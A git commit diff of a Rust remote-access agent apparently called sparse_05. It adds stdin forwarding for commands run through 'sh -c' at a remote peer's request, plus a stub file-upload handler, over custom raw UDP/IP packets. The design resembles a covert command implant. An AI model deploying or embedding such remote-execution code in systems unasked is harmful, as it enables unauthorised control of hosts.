fix: fixed stdin for processes

started work on upload file command
This commit is contained in:
Andrew Rioux
2023-09-06 00:07:15 -04:00
parent 9bb31ee6fa
commit 17e6056a03
11 changed files with 236 additions and 84 deletions

View File

@@ -3,7 +3,7 @@ use std::{
net::{Ipv4Addr, UdpSocket},
sync::{
mpsc::{channel, Receiver, Sender},
Arc,
Arc, Mutex,
},
thread,
};
@@ -217,6 +217,7 @@ fn authenticate<F: Fn()>(
}
mod command;
mod upload_file;
fn handle_full_connection<F>(
capabilities: Arc<Capabilities>,
@@ -229,9 +230,9 @@ where
{
use packets::*;
let mut commands = HashMap::new();
/*let mut uploaded_files = HashMap::new();
let mut downloaded_files = HashMap::new();*/
let commands = Arc::new(Mutex::new(HashMap::new()));
let uploaded_files = Arc::new(Mutex::new(HashMap::new()));
/*let mut downloaded_files = HashMap::new();*/
std::thread::scope(|s| -> anyhow::Result<()> {
loop {
@@ -251,17 +252,31 @@ where
match data {
Command::RunCommand(comm) => {
let handler = match command::spawn_command(&s, comm, conninfo.clone()) {
Ok(handler) => handler,
Err(e) => {
eprintln!("error spawning command: {e:?}");
continue;
}
let commands_clone = commands.clone();
let Ok(mut lock) = commands.lock() else {
continue;
};
commands.insert(handler.id, handler);
let handler =
match command::spawn_command(&s, comm, conninfo.clone(), commands_clone) {
Ok(handler) => handler,
Err(e) => {
eprintln!("error spawning command: {e:?}");
continue;
}
};
lock.insert(handler.id, handler);
}
Command::SendStdin(bytes, id) => {
let Ok(lock) = commands.lock() else {
continue;
};
if let Some(handler) = lock.get(&id) {
let _ = handler.data_sender.send(bytes);
}
}
Command::SendStdin(_, _) => {}
Command::Cd(_) => {}
Command::Ls(_) => {}
@@ -271,10 +286,40 @@ where
Command::SendTTYData(_, _) => {}
Command::SendTTYSignal(_, _) => {}
Command::StartUploadFile(_, _) => {}
Command::SendFileSegment(_, _, _) => {}
Command::StartUploadFile(path, packet_count) => {
let uploaded_files_clone = uploaded_files.clone();
let Ok(mut lock) = uploaded_files.lock() else {
continue;
};
let handler = match upload_file::start_file_upload(
&s,
path,
packet_count,
conninfo.clone(),
uploaded_files_clone,
) {
Ok(handler) => handler,
Err(e) => {
eprintln!("error starting file upload: {e:?}");
continue;
}
};
lock.insert(handler.id, handler);
}
Command::SendFileSegment(id, number, bytes) => {
let Ok(lock) = uploaded_files.lock() else {
continue;
};
if let Some(handler) = lock.get(&id) {
let _ = handler.data_sender.send((number, bytes));
}
}
Command::StartDownloadFile(_) => {}
Command::DownloadFileStatus(_) => {}
Command::DownloadFileStatus(_, _) => {}
Command::Disconnect => {
break;

View File

@@ -1,10 +1,11 @@
use std::{
collections::HashMap,
io::{Read, Write},
process::{Command, Stdio},
sync::{
atomic::{AtomicBool, AtomicU64, Ordering},
mpsc::{channel, Sender},
Arc,
Arc, Mutex,
},
thread::{scope, Scope},
};
@@ -13,24 +14,41 @@ use sparse_05_common::messages::Response;
use super::ConnectionInformation;
const CURRENT_COMMAND_ID: AtomicU64 = AtomicU64::new(0);
static CURRENT_COMMAND_ID: AtomicU64 = AtomicU64::new(0);
pub(super) struct CommandHandler {
pub id: u64,
data_sender: Sender<Vec<u8>>,
pub data_sender: Sender<Vec<u8>>,
}
pub(super) fn spawn_command<'a, 'b: 'a>(
s: &'a Scope<'a, 'b>,
command: String,
conninfo: ConnectionInformation,
command_map: Arc<Mutex<HashMap<u64, CommandHandler>>>,
) -> anyhow::Result<CommandHandler> {
let (data_sender, data_receiver) = channel();
let id = CURRENT_COMMAND_ID.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
let id = CURRENT_COMMAND_ID.fetch_add(1, Ordering::Relaxed);
dbg!(&command);
/*let mut command = command.split(" ");
let bin_name = command.next();
let Some(bin_name) = bin_name else {
let resp1 = Response::AckRunCommand(id);
let resp1 = conninfo.encrypt_and_sign_resp(resp1)?;
conninfo.send(resp1)?;
let resp2 = Response::CommandDone(id, -1);
let resp2 = conninfo.encrypt_and_sign_resp(resp2)?;
conninfo.send(resp2)?;
bail!("could not get binary name from command");
};
let bin_name = bin_name.trim();
let mut command = Command::new(bin_name)
.args(&command.collect::<Vec<_>>())*/
let mut command = Command::new("sh")
.arg("-c")
.arg(&command)
@@ -154,6 +172,12 @@ pub(super) fn spawn_command<'a, 'b: 'a>(
if let Some(thread) = stdin_thread {
_ = thread.join();
}
let Ok(mut lock) = command_map.lock() else {
return Ok(());
};
lock.remove(&id);
Ok(())
})
});

View File

@@ -0,0 +1,33 @@
use std::{
collections::HashMap,
path::PathBuf,
sync::{
atomic::{AtomicU64, Ordering},
mpsc::{channel, Sender},
Arc, Mutex,
},
thread::Scope,
};
use super::ConnectionInformation;
static CURRENT_FILE_UPLOAD_ID: AtomicU64 = AtomicU64::new(0);
pub(super) struct UploadFileHandler {
pub id: u64,
pub data_sender: Sender<(u64, Vec<u8>)>,
}
pub(super) fn start_file_upload<'a, 'b: 'a>(
s: &'a Scope<'a, 'b>,
file_path: PathBuf,
packet_count: u64,
conninfo: ConnectionInformation,
upload_file_map: Arc<Mutex<HashMap<u64, UploadFileHandler>>>,
) -> anyhow::Result<UploadFileHandler> {
let (data_sender, data_receiver) = channel();
let id = CURRENT_FILE_UPLOAD_ID.fetch_add(1, Ordering::Relaxed);
Ok(UploadFileHandler { id, data_sender })
}

View File

@@ -1,6 +1,7 @@
use std::{
net::{Ipv4Addr, SocketAddrV4, UdpSocket},
sync::Arc,
thread,
};
use anyhow::{anyhow, bail};
@@ -25,6 +26,8 @@ impl Interface {
.ok_or(anyhow!("could not get an ethernet interface"))?;
let interface = loop {
thread::sleep(std::time::Duration::from_millis(250));
macro_rules! retry {
($e:expr) => {{
match $e {
@@ -147,7 +150,9 @@ impl InterfaceReceiver {
let mut buf = [0u8; 2000];
let Ok((count, from)) = interf.recv_from(&mut buf) else { continue; };
let Ok((count, from)) = interf.recv_from(&mut buf) else {
continue;
};
let udp_packet = UDPPacket::construct(from.port(), *port, &buf[..count]);
let ip_packet = IPv4Packet::construct(